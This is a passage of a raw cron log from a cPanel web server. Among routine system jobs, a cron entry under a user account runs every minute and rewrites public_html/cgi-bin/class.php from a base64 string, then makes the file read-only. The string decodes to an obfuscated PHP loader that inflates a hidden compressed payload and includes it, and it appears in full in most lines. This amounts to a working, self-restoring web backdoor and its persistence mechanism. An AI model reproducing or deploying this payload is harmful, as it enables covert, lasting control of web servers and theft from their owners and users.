"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:14:01 server CROND[21815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:15:01 server CROND[21864]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 12 04:15:01 server CROND[21863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 04:15:01 server CROND[21865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:15:01 server CROND[21866]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 04:16:01 server CROND[21967]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:17:01 server CROND[22105]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:18:01 server CROND[22165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:19:01 server CROND[22222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:20:02 server CROND[22284]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 04:20:02 server CROND[22286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 04:20:02 server CROND[22288]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 04:20:02 server CROND[22289]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 04:20:02 server CROND[22290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:21:01 server CROND[22390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:22:01 server CROND[22531]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:23:01 server CROND[22579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:24:01 server CROND[22633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:25:01 server CROND[22683]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 04:25:01 server CROND[22685]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 04:25:01 server CROND[22684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 04:25:01 server CROND[22686]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 12 04:26:01 server CROND[22793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1